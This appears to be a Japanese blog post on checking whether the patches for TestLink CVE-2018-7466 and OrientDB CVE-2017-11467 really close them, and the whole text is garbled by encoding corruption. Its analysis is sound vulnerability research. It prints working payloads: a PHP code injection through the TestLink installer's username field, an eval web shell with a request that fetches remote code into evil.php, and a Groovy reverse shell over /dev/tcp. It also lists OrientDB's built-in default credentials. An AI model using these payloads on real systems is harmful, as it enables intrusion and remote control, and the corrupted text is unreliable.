ããã€ãã®è£œåãèŠãŠããªãè匱æ§ãçããã®ããç解ããããšã¯èå³æ·±ããã®ã«ãªããŸããïŒä»è ã®ééãããåŠã³ãŸãïŒã ãŸããã¡ãŒã«ãŒãããããä¿®æ£ããæ¹æ³ãšãåžžã«æåãããã©ããïŒåžžã«ã§ã¯ãªããå°æ¥ãèŠæ®ããŠïŒã
éžæåºæºïŒ
- ãšã¯ã¹ããã€ããããã¯ãã§ã-ã¢ããããŒãã®åã«ãã¹ãŠã
ååã«æªçšãããŠããŠããã®åŸã¯ããŸããã£ãããšã確èªããããšæããŸãã - è匱æ§ã¯éèŠïŒçæ³çã«ã¯RCEïŒã§ãããé«åŸç¹ã§ããå¿ èŠããããŸãã
- 補åã¯ãªãŒãã³ãœãŒã¹ã§ãªããã°ãªããŸããã
- 補åãæŸæ£ããŠç©æ¥µçã«äœ¿çšããªãã§ãã ããã
- è匱æ§ã¯æ¯èŒçæ°ããã¯ãã§ãã
- äž»ãªããšã¯ãç§ãã¡èªèº«ãèå³ãæã£ãŠãããšããããšã§ãã
ç§ãã¡ãéžãã ãã®ãšæ¹æ³ïŒ
vulners.com ïŒããã«ãŒã®ãGoogleãïŒã«ã¢ã¯ã»ã¹ããéå»æ°é±éã§exploit-db.comããã®ãã¹ãŠã®ãšã¯ã¹ããã€ãã衚瀺ããããã«äŸé ŒããŸããã ããã§ãæåã®
ïŒCVE-2018-7466ãã¹ã³ã¢8.3ãRCEã2018幎2æ25æ¥å ¬é-å¿ èŠãªãã¹ãŠïŒã
ã¹ã³ã¢10ã§2çªç®ã®ãã¹ããæ€çŽ¢ããããšã«ããŸããããããŠãOrientDBã®è匱æ§ïŒCVE-2017-11467ãã¹ã³ã¢10ãRCEã2017幎7æ17æ¥å ¬éãã»ãŒåžæã©ããïŒã«è¡æãåããŸããã OrientDBã¯ãããã¥ã¡ã³ãæåãšã°ã©ãæåã®ããŒã¿ããŒã¹ïŒwikiïŒã®æ©èœãçµã¿åããããªãŒãã³DBMSã§ãã
éžæããã»ã¹ã«ã¯15ã20åããããŸããã ãã®æéã®å€§éšåã¯ããããã©ã®ãããªçš®é¡ã®è£œåã§ãããåºæºã«é©åãããã©ãããç解ããããšããŸããã éžæè¢ã¯æ¯èŒçã©ã³ãã ã«åŒã³åºãããšãã§ããŸãã ç§ãã¡ã¯äž»é¡ãæ€èšãå§ããŸãã
TestLinkãªãŒãã³ãœãŒã¹ãã¹ã管çïŒCVE-2018-7466ïŒïŒ
ãšã¯ã¹ããã€ãã®èª¬æãèªã¿ãŸãã 1.9.16ïŒå æ¬çïŒãŸã§ã®ããŒãžã§ã³ã¯è匱ã§ãããããŒãžã§ã³1.9.17ã§ã¯ãã¹ãŠãä¿®æ£ãããŠããããšãããããŸãã æ°ããããŒãžã§ã³ãšå€ãããŒãžã§ã³ã®ããŠã³ããŒããåžæããŠãã¡ãŒã«ãŒã®ãŠã§ããµã€ãã«ã¢ã¯ã»ã¹ããŸãã ããã§ç§ãã¡ã¯æåã®é©ãã¹ãç¬éãåŸ ã£ãŠããŸãïŒã¡ãŒã«ãŒã®ãŠã§ããµã€ãã«ã¯è匱ãªããŒãžã§ã³ãããããŸããã ã€ã³ã¿ãŒãããããŒãžã§ã³1.9.17ã§ã®æ€çŽ¢ã§ã¯çµæãåŸãããŸããã æ°ããããŒãžã§ã³ã2018幎ã®ç¬¬1ååæã«ãªãªãŒã¹ããããšãããã¥ãŒã¹ãèŠã€ããŸããã ããããéçºè ãåé¡ãä¿®æ£ããæ¹æ³ãç解ããããã«ææ°ããŒãžã§ã³ãå ¥æã§ããgithubãããžã§ã¯ãããããŸãã
ããã§ã¯TestLinkã䜿çšããŸããããã¹ãŠãç°¡åã§ãã Apache + PHP + Mysqlãã³ãã«ãã€ã³ã¹ããŒã«ãããããžã§ã¯ããã©ã«ããŒãWebãµãŒããŒãã©ã«ããŒã«è§£åããå¿ èŠããããŸãã ãã®åŸãWebãµãŒããŒã«ã¢ã¯ã»ã¹ãããšãã€ã³ã¹ããŒã«ãŠã£ã¶ãŒãã衚瀺ãããããã©ã«ããŠãŒã¶ãŒãadminã§ãã¹ã¯ãŒããadminã§ããããšãããããŸãã æåã®ãã°ã€ã³ã§ã¯ãå€æŽããããæ±ããããŸããããããã¯ãŠãŒã¶ãŒèšå®ã§ç°¡åã«è¡ãããšãã§ããŸãã
ãšã¯ã¹ããã€ãã®ããã¹ããããåé¡ã®ããã¹ã¯ãªããã¯ã/install/installDbInput.phpãã§ããããšãããããŸãã ããã¯ã€ã³ã¹ããŒã«ãã©ã«ããŒã«ãããã€ã³ã¹ããŒã«ã¯æ¢ã«å®äºããŠããŸããçè«çã«ã¯ãæ¢ã«äœ¿çšã§ããªãã¯ãã§ãã ãã ãã圌女ã«é£çµ¡ããããšãããšãããã§ã¯ãªãããšãããããŸãã ã€ã³ã¹ããŒã©ã®ãã®åäœã¯ã誰ã§ããã¹ãŠã®ã¬ã³ãŒããæ¶å»ã§ãããããéåžžã«å®å šã§ã¯ãããŸããã ãã¡ãããç§ã¯è¡ãéãã§ãã å®éãæ°ããMysqlãµãŒããŒã䜿çšããå¿ èŠãããããšã瀺ãããšãã§ããŸããããã¹ãŠãå€ããµãŒããŒã«æ®ããäœæ¥ããŒãžã§ã³ã«ããŒã«ããã¯ããããšãã§ããŸãã
ãšã¯ã¹ããã€ãããã¹ãã§ã¯ããã©ãŒã ã®æååããŠãŒã¶ãŒåãšããŠæž¡ãããŸãã
"box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//"
æããã«ãPHPã³ãŒãã«ã€ã³ãžã§ã¯ã·ã§ã³ããããŸãã ãããã©ãããæ¥ãã®ãèŠãŠã¿ãŸãããã installDbInput.phpã¹ã¯ãªããã«ç§»åãã62ã69è¡ç®ã®ãŠãŒã¶ãŒå€ã®ä¿åã確èªããŸãã ãã®åŸããããã¯äœããã®åœ¢ã§äœ¿çšããããã®åŸãè¡489-498ã§ãã¡ã€ã«ã«ä¿åãããŸã
$cfg_file = "../config_db.inc.php".
// get db info from session // 62-69 $db_server = $_SESSION['databasehost']; $db_admin_name = $_SESSION['databaseloginname']; $db_admin_pass = $_SESSION['databaseloginpassword']; $db_name = $_SESSION['databasename']; $db_type = $_SESSION['databasetype']; $tl_db_login = $_SESSION['tl_loginname']; $tl_db_passwd = $_SESSION['tl_loginpassword']; $db_table_prefix = $_SESSION['tableprefix'];
// 489-498 $data['db_host']=$db_server; $data['db_login'] = $user_host[0]; $data['db_passwd'] = $tl_db_passwd; $data['db_name'] = $db_name; $data['db_type'] = $db_type; $data['db_table_prefix'] = $db_table_prefix; $cfg_file = "../config_db.inc.php"; $yy = write_config_db($cfg_file,$data);
ãæ³åã®ãšããããconfig_db.inc.phpããã¡ã€ã«ã«æžã蟌ãã phpã³ãŒãã¯ç°¡åã«ã¢ã¯ã»ã¹ã§ããå®è¡ããããšãã§ããŸãïŒåŸæ¥ã®RCEã®åäœïŒã
ãšã¯ã¹ããã€ãåŸã®config_db.inc.phpã³ãŒãã¯æ¬¡ã®ãšããã§ãã
// config_db.inc.php define('DB_TYPE', 'mysql'); define('DB_USER', 'box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//'); define('DB_PASS', '123'); define('DB_HOST', 'localhost'); define('DB_NAME', 'testlink'); define('DB_TABLE_PREFIX', '');
TestLinkããã®ä¿®æ£ïŒ
nist.govã®CVEã®èª¬æã«ã¯ãå¯èœæ§ã®ãããã°ã€ã³ã®é·ãã32æåã«ççž®ããããšã«ããããã®è匱æ§ããéããã githubã³ããããžã®ãªã³ã¯ããããŸãã ç§ãã¡ã¯æããããããã°ã€ã³ã§32æåã®å¶éããã€ãã¹ããããšã«ããŸããïŒãã ããã³ãŒãããã泚ææ·±ãèªãããšãã§ãããã§ã«å¯å®€ã§æŠã£ãŠããããšãç解ã§ããŸããïŒã
æåã®ãšã¯ã¹ããã€ãã¯ãæ³šå ¥ããšã«64æåã§ããã ãããççž®ããæ¹æ³ãèããåŸãæšæºé¢æ°evalã䜿çšããŠããŠãŒã¶ãŒåã1æåã«æžããããšã«ããŸããã ååŸãããã®ã¯æ¬¡ã®ãšããã§ãã
b');eval($_GET['e']);//
23æåïŒå¯èœã§ããã°ãã³ã¡ã³ããæžããŠãã ãããç§ãã¡ã¯å¥œå¥å¿ã匷ãïŒããã®ãããªãã®ã䜿çšããŸãïŒ
/config_db.inc.php?e=file_put_contents($_GET['filename'],file_get_contents($_GET['filedata']));&filename=evil.php&filedata=http://.../src.txt
ããšã¯ã¹ããã€ããã³ãŒããæ©èœããããšãå€ãããŒãžã§ã³ã§ç¢ºèªããåŸãæ°ããããŒãžã§ã³ãgitaããããŠã³ããŒããïŒãŸã å ¬åŒã®æ°ããããŒãžã§ã³ã¯ãããŸããïŒãã€ã³ã¹ããŒã«ããŠå€±æããŸãããã³ãŒããæ©èœããªãã£ãããã§ãã
ã³ãŒããæ©èœããªãã£ãã®ã¯ãªãã§ããïŒ
ãã¡ã€ã«config_db.inc.phpã§ã次ã®åœ¢åŒã§å ¥åããã³ãŒãïŒ
define('DB_USER', 'bevalGETe');
ã€ãŸãããã¹ãŠã®ç¹æ®æåãåé€ãããŸããã æ°ããinstallNewDB.phpã³ãŒãããã詳ãã調ã¹ã56ã82è¡ç®ã«ãã©ãŒã ã®ãŠãŒã¶ãŒå ¥åã®ãåŠçããè¿œå ãããŠããããšã確èªããŸãã
$san = '/[^A-Za-z0-9\-]/'; $db_name = trim($_SESSION['databasename']); $db_name = preg_replace($san,'',$db_name);
ã€ãŸããæåãæ°åãããã³ã-ãæå以å€ã®ãã¹ãŠã®æåãåé€ãããŸãã ãããŠãããã«å¿ããŠããšã¯ã¹ããã€ããæ©èœããªããªããŸãã ã泚æ æªçšã ãã§ãªããæ©èœèªäœãæ©èœããªããªããŸãã æ£èŠè¡šçŸã/ [^ A-Za-z0-9 \-] /ããå«ãpreg_replaceã¯ãã¹ãŠã®ãã£ãŒã«ãã«é©çšããããããããŒã¿ããŒã¹ã§ãªã¢ãŒããã¹ããèšå®ããããšã¯ã§ããªããªããŸããã ããããçºçããªãã¬ã³ãŒãïŒãã¡ã€ã³ã¬ã³ãŒããšipv4ã¢ãã¬ã¹ã¬ã³ãŒãã®äž¡æ¹ã«ããïŒãŸãã¯ã³ãã³ïŒèª°ãipv6ã¢ãã¬ã¹ããã£ã³ã»ã«ããªãã£ãïŒãæ³åããã®ã¯é£ããããã§ãã ãã¹ã¯ãŒãã®äžŠã¹æ¿ããç°¡åã«ãªããŸããïŒæåãæ°åãããã³ã-ãèšå·ã®ã¿ãå«ããããšãã§ããŸãïŒã
TestLinkããã³CVE-2018-7466ã®çµè«ïŒ
- è匱æ§ã¯éããããŸããã
- æ£èŠè¡šçŸãéããè匱æ§ã¯æ©èœã®äžéšãç Žå£ããŸãã
- è匱æ§ãéããæ£èŠè¡šçŸã«ããããã¹ã¯ãŒãã®æšæž¬ã容æã«ãªããŸãã
- nist.govã¯ãè匱æ§ãéããç¡å¹ãªã³ããããæå®ããŸããïŒãããæ£ãããã®ã§ã ïŒã
TestLinkããã³CVE-2018-7466ã«é¢ããã¡ã¢ã®æ人ïŒ
- ãŠãŒã¶ãŒå ¥åã®ãã£ã«ã¿ãªã³ã°ïŒããã«ã¯ãèªå·±èšè¿°ã®æ£èŠè¡šçŸã§ã¯ãªããç¹æ®ãªèšèªé¢æ°ã䜿çšïŒ;
- ãŠãŒã¶ãŒå ¥åãphpã¹ã¯ãªããã«ä¿åããªãã§ãã ããïŒãŸããphpã€ã³ã¿ãŒããªã¿ãŒãç°ãªãæ¡åŒµåã®ãã¡ã€ã«ãéå§ããã®ãé²ããåæã«ãããã®ãã¡ã€ã«ãè¿ãããšãé²ããŸãïŒã
- ããŒã¿ããŒã¹ããã®ãã°ã€ã³ãšãã¹ã¯ãŒããã¯ãªã¢ããã¹ãã§ä¿åããªãã§ãã ããã
- ã€ã³ã¹ããŒã«åŸã«ã¢ã¯ã»ã¹ãæåŠããããã€ã³ã¹ããŒã«ãã£ã¬ã¯ããªãåé€ããŸãã
OrientDBïŒCVE-2017-11467ïŒïŒ
ãšã¯ã¹ããã€ãã®èª¬æãèªã¿ãŸãã åã³githubãžã®ãªã³ã¯ããããããŒãžã§ã³2.2.23ã§è匱æ§ãä¿®æ£ããããšæžãããŠããŸãã ãã®ããããŸã第äžã«ãããŒãžã§ã³2.2.22ïŒããã¯è匱ãªã¯ãã§ãïŒã«èå³ããããŸãã
ä»åã®ã€ã³ã¹ããŒã«ã¯ã¯ããã«ç°¡åã§ãã éçºè ã¯ããã¹ãŠãæ§æãããŠããããã«ãŒã³ã³ãããŒãæäŸããããã«ãŒããã¯ãã¹ãŠã®ããŒãžã§ã³ãæ ŒçŽããŸãã ãããã£ãŠã次ã®ããã«æžãã ãã§ãã
sudo docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:2.2.22
ãããŠãOrientDBã®è匱ãªããŒãžã§ã³ãæã€ã³ã³ãããååŸããŸãã ãšã¯ã¹ããã€ãã®pythonã³ãŒããèªåèªèº«ã«ã³ããŒããŠå®è¡ããŸãã ãã ããããŒã¿ããŒã¹ããªããšããèšèã§ã¹ã¯ãªãããã¯ã©ãã·ã¥ããŸãïŒPythonããã±ãŒãžãäžè¶³ããŠãããšããèšèããŸã å«ãŸããŠããå¯èœæ§ããããŸãïŒã ããŒã2480ã§ããŒã«ã«ãã¹ãã«ã¢ã¯ã»ã¹ããããŒã¿ããŒã¹ãäœæããŸãã çµã¿èŸŒã¿ã®ãã€ããŒãïŒéã·ã§ã«ïŒã«ã¯bashãå¿ èŠã§ãããã³ã³ãããŒã«ã¯shããååšããªãããããã®ãšã¯ã¹ããã€ããåã³éå§ããŸãããä»åã¯æ©èœããŸããã
ãã¹ãã§ã¯ããã¡ã€ã«ãäœæããã ãã®ãã€ããŒããäœæããããšã«ããŸããã å®ç掻ã§ã¯ããã¹ãŠããã£ãšé¢çœãã§ããããšã¯æããã§ãã
Groovyã³ãŒããå«ãã¯ãšãªå€æ°ã¯ããã€ããŒããåŠçããŸãã ãã€ããŒããå€æŽããŸã
def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();
ã«
def command = \'touch /orientdb/test.sh \';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/sh\\\\n\\");file << (command);def proc = \\"/bin/sh hello.sh\\".execute();
ãšã¯ã¹ããã€ããèµ·åãããšãã³ã³ããå ã«ãã¡ã€ã«test.shãäœæãããŸãã ãã°ããããæªçšã¯æ©èœããè匱æ§ãååšããŸãã
ãã¹ãŠãéããŠããããšã確èªããŸãã
ããŒãžã§ã³2.2.23ïŒ2017幎7æ11æ¥ïŒã§ãã¹ãŠãæ£åžžã«éããããããšã確èªããŸãã ãã®ããŒãžã§ã³ã§ã³ã³ãããèµ·åãïŒããŒã¿ããŒã¹ãäœæïŒããšã¯ã¹ããã€ããèµ·åããã³ã³ããå ã®ãã¡ã€ã«ã確èªããŸãã ç§ãã¡ã¯ç®ãä¿¡ããŠããŸããããã¹ããã¡ã€ã«ããããŸãã 補åã®ããŒãžã§ã³ã確èªããŸãïŒWebã€ã³ã¿ãŒãã§ãŒã¹ã«ãaboutãã¿ãããããŸãïŒ-ãã¹ãŠãããã«ãããŸããããŒãžã§ã³2.2.23ã å¥ã®ãã¡ã€ã«åã䜿çšããŠãšã¯ã¹ããã€ããåèµ·åããŸãïŒtest.shã¯æãå ã®ååã§ã¯ãããŸããïŒ-ãã¹ãŠãæ©èœããŸããã nist.govã®ãšã¯ã¹ããã€ãã®èª¬æã確èªããŠãã ããã ããŒãžã§ã³2.2.23ã§è匱æ§ãéããããŠãããšãããªã³ã¯ããããŸãã
ããŠãè匱æ§ã解決ãããããŒãžã§ã³ãæ¢ããŸãããã ãã¹ãŠã®ããŒãžã§ã³ã®ã³ã³ãããšãã€ããªæ€çŽ¢ã¢ã«ãŽãªãºã ãããããšã¯éåžžã«å¹žéã§ãã CookieãçšæããŠæ€çŽ¢ãéå§ããŸãã ææ°ããŒãžã§ã³2.2.33ïŒ2018幎3æ5æ¥ïŒããªãªãŒã¹ããŸããäœããåäœããããšãæåŸ ããã«ã ãã§ãã¯-åäœããŸãã
ãšã¯ã¹ããã€ãã³ãŒããèŠããšãåé¡ã¯åœåããããããã«æ·±å»ã§ããããšãããããŸãããã¹ãŠã®ãªã¯ãšã¹ãã¯ããã¹ã¯ãŒããwriterããæã€ãŠãŒã¶ãŒãwriterãã®ä»£ããã«å®è¡ãããŸãã èšãæããã°ã2çªç®ã®ç¥èãªã«ãŒã«ã«éåããŠããŸããæç·ãã¹ã¯ãŒããæã€ãã«ãã€ã³ã¢ã«ãŠã³ããäœæãããŸãã 巚倧äŒæ¥ã§ããããã«èŠããã§ããŸãïŒ æšå¹Žã® Oracleã®ã»ã³ã»ãŒã·ã§ãã«ãªè匱æ§ãæãåºããŠãã ãããçµã¿èŸŒã¿ãŠãŒã¶ãŒOIMINTERNALã«ãã¹ã¯ãŒãã¹ããŒã¹ãå²ãåœãŠãããŠããŸããïŒãå°ããªãªãŒãã³ãœãŒã¹è£œåã«æåŸ ã§ããããšã§ãã åŸã§ããã®ã¢ã«ãŠã³ãã ãã§ãªããadminïŒadminïŒç§ã®ãæ°ã«å ¥ãïŒãšreaderïŒreaderãããããšãå€æããŸããã åæã«ã2åéWebã€ã³ã¿ãŒãã§ã€ã¹ãä»ããŠå€æŽã§ããå Žæã¯ãªããå ¬åŒã®ããã¥ã¡ã³ãã«ã¯äœãè¡ãå¿ èŠããããã«ã€ããŠã®æ å ±ã¯ãããŸããã
åé¡ã¯ãããŒã¿ããŒã¹ãäœæãããšããããã®ãŠãŒã¶ãŒãèªåçã«ããŒã¿ããŒã¹ã«è¿œå ãããããšã§ãã ã³ãŒããå®è¡ã§ããªãã£ãå Žåã§ããããŒã¿ã®è¡šç€ºïŒããã³ãã®å€æŽïŒã¯ãOrientDBãšãã®ãŠãŒã¶ãŒã䜿çšãããªãœãŒã¹ã®ææè ã«ãšã£ãŠåé¡ã«ãªãå¯èœæ§ããããŸãã
ã·ã£ããããŠã³ããªãã®ã¯ãªãã§ããïŒ
ãã®è匱æ§ã解決ãããã¯ãã®ã³ãããã確èªããŸãã ãŠãŒã¶ãŒããdatabase.systemclustersãããŒã«ã®èªã¿åãèš±å¯ãæã£ãŠããããšãOCommandExecutorSQLSelect.javaãã¡ã€ã«ã«è¿œå ããŸãããããã«ãããèš±å¯ã®å€æŽã®åé¡ã解決ãããŸãã ã³ã³ããããŒãžã§ã³2.2.23ãå床äžããã©ã€ã¿ãŒãšããŠãã°ã€ã³ãã[ã»ãã¥ãªãã£]ã¿ãã«ç§»åãããšãã¢ã¯ã»ã¹ãšã©ãŒã¡ãã»ãŒãžã衚瀺ãããŸãã
com.orientechnologies.orient.core.exception.OSecurityAccessException: User 'writer' does not have permission to execute the operation 'Read' against the resource: ResourceGeneric [name=SYSTEM_CLUSTER, legacyName=database.systemclusters].null DB name="test23"
ããã¯ããŠãŒã¶ãŒãèªåã®æš©å©ã衚瀺ã§ããªãããšãæå³ããŸãã ããŒãžã§ã³2.2.22ã§ã¯ããã®ãããªãšã©ãŒã¯ãªãããŠãŒã¶ãŒã¯èªåã®æš©å©ãå·éã«èŠãŠå€æŽã§ããŸããã
ãã¡ã€ã«åã«æ³šæããŠãã ããïŒOcommandExecutorSQLSelect.javaã ããŒã¯ãŒãSelectããããŸãã gitã®ãã©ã«ããŒã調ã¹ãŠãåSQLã³ãã³ãã«ã¯ã©ã¹ããããæåŸã®å€æŽãã¯ã©ã¹OCommandExecutorSQLSelect.javaïŒ9ãæåïŒã«é¢é£ããŠããããšã確èªããŸãã
ãšã¯ã¹ããã€ãã³ãŒãã«priv_escalationé¢æ°ããããŸã
def priv_escalation(target,port="2480"): print "[+] Checking OrientDB Database version is greater than 2.2" if check_version(target,port): databases = enum_databases(target) print databases priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") if priv1 and priv2 and priv3: return True return False,
ããã¯ãããŒã«database.class.ouserãdatabase.functionãdatabase.systemclustersã«å¯ŸããŠãèš±å¯ãæäœãå®è¡ããŸãïŒãããã«ã¯å®å šãªæš©éãäœæãããèªã¿åããããæŽæ°ãããå®è¡ãããåé€ããä»äžãããŸãïŒã
OCommandExecutorSQLGrant.javaã¯ã©ã¹ã¯ãOcommandExecutorSQLSelect.javaã¯ã©ã¹ã§çºçããå€æŽãèæ ®ããããã®åŒã³åºãã¯ïŒWebã€ã³ã¿ãŒãã§ã€ã¹ã§çªãã®ã§ã¯ãªãïŒAPIã«çŽæ¥è¡ãããšãã§ããŸãã çµå±ã®ãšãããGroovyã³ãŒããå®è¡ããããã«å¿ èŠãªæš©å©ãèªåã§äžããããšãå¯èœã§ãããããã¯ããšã¯ã¹ããã€ãã§çºçãããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®ã³ã³ããã¹ãã§å®è¡ã§ããŸãã
3çªç®ã®ç¥èãªã«ãŒã«ã®éåããããŸãïŒãŠãŒã¶ãŒãã¢ã¯ã»ã¹ã§ããAPIã§ã¯ãªãã衚瀺ãããçµæã®è匱æ§ãéããŸãã
OrientDBãšCVE-2017-11467ã®çµè«ïŒ
- è匱æ§ã¯éããããŠããŸããïŒAPIã«ã¢ã¯ã»ã¹ãããšãã«ãGroovyã³ãŒããå®è¡ããããã«å¿ èŠãªæš©å©ãèªåã§äžããããšãã§ããŸãïŒã
- ã·ã¹ãã ã«ã¯ãé«ãæš©éãæã€çµã¿èŸŒã¿ãŠãŒã¶ãŒãããŸãã
- Shodanã¯ãäžçäžã®458ã®ãã¹ããOrientDBã䜿çšããŠãããããã¢ã¯ã»ã¹ã§ããå¯èœæ§ããããšè¿°ã¹ãŠããŸãã ïŒçŽèŠ³ã«ããã°ããããã®ããŒã¿ããŒã¹ã®ç®¡çè ã¯ãã«ãã€ã³ãŠãŒã¶ãŒã«ã€ããŠèãããããããçŠæ¢ããŸããã§ãããïŒ
OrientDBãšCVE-2017-11467ã«é¢ããã¡ã¢ã®æ人ïŒ
-
åããã¹ã¯ãŒããæã€çµã¿èŸŒã¿ãŠãŒã¶ãŒãäœæããªãã§ãã ããã -
ã€ã³ã¹ããŒã«æã«ãçµã¿èŸŒã¿ãŠãŒã¶ãŒã®ãã¹ã¯ãŒãã匷å¶çã«å€æŽããŸãïŒå¿ èŠãªå ŽåïŒã - çµã¿èŸŒã¿ãŠãŒã¶ãŒãäœæããªãã§ãã ããã
- 衚瀺ãããçµæã§ã¯ãªããAPIã®ãšã©ãŒãä¿®æ£ããŸãã
- éããããè匱æ§ã¯éããããªãå¯èœæ§ããããŸãã
- nist.govã¯åã³ééã£ãŠããŸãã
çµè«ïŒ
è匱æ§ã®ééã®äž»é¡ã¯ãåœåèŠããããã¯ããã«èå³æ·±ãããšãå€æããŸããã ã©ã³ãã ã«éžæããã2ã€ã®è匱æ§ã¯ãããããå¥åŠã«äžååã«éããããŠããããšã瀺ããŸããã å°æ¥çã«ã¯ãè匱æ§ã®ééã«ããäœãã©ã®ããã«çºçããããåŒãç¶ãæ€èšããŸãã ããªãã芳å¯ããå¥åŠãªãã¯ããŒãºããè匱æ§ã解説ã«æžããŠãã ããã